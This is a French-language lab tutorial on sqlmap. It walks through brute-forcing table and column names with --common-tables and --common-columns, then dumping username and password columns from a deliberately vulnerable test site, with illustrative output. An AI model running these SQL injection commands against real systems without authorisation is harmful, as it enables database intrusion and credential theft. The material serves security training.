Introduction
Dans ce laboratoire, vous explorerez des techniques avancées dans sqlmap pour découvrir les noms de tables et de colonnes de bases de données lorsque les méthodes d'énumération standard sont inefficaces. Cela se produit souvent dans des scénarios réels où les applications web implémentent un filtrage robuste ou des pare-feux d'applications web (WAF) qui bloquent les charges utiles d'injection SQL courantes. Vous apprendrez à exploiter les capacités de force brute de sqlmap, en particulier les drapeaux --common-tables et --common-columns, pour identifier les structures de base de données cachées à l'aide de listes de mots intégrées. Cette expérience pratique vous dotera des compétences essentielles pour des tests d'injection SQL plus complets.
Identifier un scénario où l'énumération standard échoue
Dans cette étape, vous allez simuler un scénario où les techniques d'énumération sqlmap standard pourraient échouer à découvrir les noms de tables et de colonnes. Cela se produit souvent en raison de WAF, de filtrage strict ou de gestion d'erreurs personnalisée qui empêche sqlmap d'inférer directement le schéma de la base de données. Bien que nous n'allions pas mettre en place une application réellement vulnérable pour ce laboratoire, nous utiliserons une URL fictive pour démontrer comment sqlmap se comporte lorsque l'énumération directe n'est pas possible.
Tout d'abord, essayons une commande d'énumération standard pour les tables et les colonnes. Nous utiliserons une URL factice http://testphp.vulnweb.com/listproducts.php?cat=1 comme cible. Cette URL est connue pour être vulnérable dans certains contextes, mais pour cet exercice, nous supposerons qu'elle est configurée pour bloquer l'énumération directe.
Ouvrez votre terminal et exécutez la commande sqlmap suivante. Cette commande tente d'énumérer les tables et les colonnes pour la base de données acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
Vous pourriez observer que sqlmap a du mal à trouver des tables ou des colonnes, ou qu'il pourrait signaler qu'aucune table/colonne n'a été trouvée, même si elles existent. Cela simule un scénario où l'énumération directe est bloquée. Le drapeau --batch indique à sqlmap d'utiliser les réponses par défaut aux questions, rendant le processus non interactif.
Exemple de sortie (peut varier, mais remarquez l'absence de tables/colonnes découvertes) :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
Cette sortie indique que sqlmap n'a pas pu énumérer directement les tables et les colonnes. Dans de tels cas, le brute-force de noms courants devient une alternative viable.
Utiliser le drapeau --common-tables pour le brute-force des noms de tables
Dans cette étape, vous utiliserez le drapeau --common-tables pour effectuer un brute-force des noms de tables. Ce drapeau demande à sqlmap d'utiliser une liste de mots intégrée de noms de tables courants (par exemple, users, admin, products, orders) et de les tester sur la cible. Ceci est particulièrement utile lorsque l'énumération directe est bloquée.
Continuez à utiliser la même URL cible http://testphp.vulnweb.com/listproducts.php?cat=1 et la base de données acuart.
Exécutez la commande sqlmap suivante :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
Cette commande indiquera à sqlmap d'essayer d'identifier les noms de tables courants dans la base de données acuart. sqlmap parcourra sa liste de mots interne et tentera de trouver les tables existantes.
Exemple de sortie :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
Vous devriez maintenant voir sqlmap identifier avec succès des noms de tables courants tels que users, products et categories. Cela démontre l'efficacité du brute-force lorsque l'énumération standard échoue.
Analyser la liste des tables trouvées à partir de la liste de mots courante
Dans cette étape, vous allez examiner la sortie de la commande précédente pour comprendre quelles tables courantes sqlmap a réussi à identifier. Cette analyse est cruciale pour planifier vos prochaines étapes dans le processus d'injection SQL, car la connaissance des noms de tables vous permet de cibler des données spécifiques.
D'après la sortie de la commande précédente, sqlmap aurait dû lister plusieurs tables courantes. Par exemple, vous auriez pu voir :
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
Ce sont les tables que sqlmap a trouvées en effectuant un brute-force de sa liste de mots interne. La présence de tables comme users est particulièrement intéressante, car elle contient souvent des informations sensibles telles que les noms d'utilisateur et les mots de passe.
Prenez un moment pour examiner la sortie dans votre terminal. Identifiez les noms des tables que sqlmap a découvertes. Ces noms seront utilisés dans les étapes suivantes pour effectuer un brute-force des noms de colonnes.
Aucune commande spécifique n'est requise pour cette étape, car elle implique l'analyse de la sortie de la commande précédente. Cette étape met l'accent sur la compréhension des résultats de vos opérations sqlmap.
Utiliser le drapeau --common-columns pour le brute-force des noms de colonnes
Maintenant que vous avez identifié les noms de tables courants, vous pouvez procéder au brute-force des noms de colonnes dans ces tables. Similaire à --common-tables, le drapeau --common-columns utilise une liste de mots intégrée de noms de colonnes courants (par exemple, username, password, email, id) pour découvrir les colonnes lorsque l'énumération directe n'est pas possible.
Supposons que vous ayez trouvé la table users à l'étape précédente. Vous allez maintenant tenter d'effectuer un brute-force des noms de colonnes dans cette table users de la base de données acuart.
Exécutez la commande sqlmap suivante :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
Cette commande demande à sqlmap de trouver les noms de colonnes courants dans la table users de la base de données acuart.
Exemple de sortie :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
Vous devriez voir sqlmap identifier avec succès des noms de colonnes courants tels que id, username, password et email dans la table users. Cela démontre comment le brute-force peut révéler des informations critiques même lorsque l'énumération directe est bloquée.
Combiner la découverte par brute-force avec une commande de vidage de données
Dans cette dernière étape, vous combinerez la découverte par brute-force des noms de tables et de colonnes avec une commande de vidage de données. Une fois que vous avez identifié avec succès les tables et colonnes intéressantes à l'aide des drapeaux --common-tables et --common-columns, vous pouvez alors utiliser le drapeau --dump de sqlmap pour extraire les données réelles.
En supposant que vous ayez identifié la table users et des colonnes comme username et password lors des étapes précédentes, vous pouvez maintenant tenter de vider les données de ces colonnes.
Exécutez la commande sqlmap suivante pour vider les colonnes username et password de la table users dans la base de données acuart :
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
Cette commande demandera à sqlmap de récupérer les données des colonnes spécifiées.
Exemple de sortie :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
Vous devriez voir sqlmap vider avec succès les données des colonnes username et password. Cela démontre le flux de travail complet : identification d'un scénario où l'énumération standard échoue, utilisation du brute-force pour découvrir des structures cachées, et enfin extraction de données sensibles. Cette technique est un ajout puissant à votre boîte à outils d'injection SQL.
Résumé
Dans ce laboratoire, vous avez appris à utiliser efficacement les capacités de brute-force de sqlmap pour découvrir les noms de tables et de colonnes lorsque les méthodes d'énumération standard sont bloquées ou échouent. Vous avez commencé par simuler un scénario où l'énumération directe n'a pas abouti. Ensuite, vous avez utilisé avec succès le drapeau --common-tables pour identifier les noms de tables courants et le drapeau --common-columns pour trouver les noms de colonnes courants dans ces tables. Enfin, vous avez combiné ces techniques de découverte avec le drapeau --dump pour extraire les données des colonnes identifiées. Cette expérience pratique vous a doté d'une compétence cruciale pour les tests avancés d'injection SQL, vous permettant de contourner les défenses courantes et de récupérer des informations précieuses à partir de bases de données vulnérables.


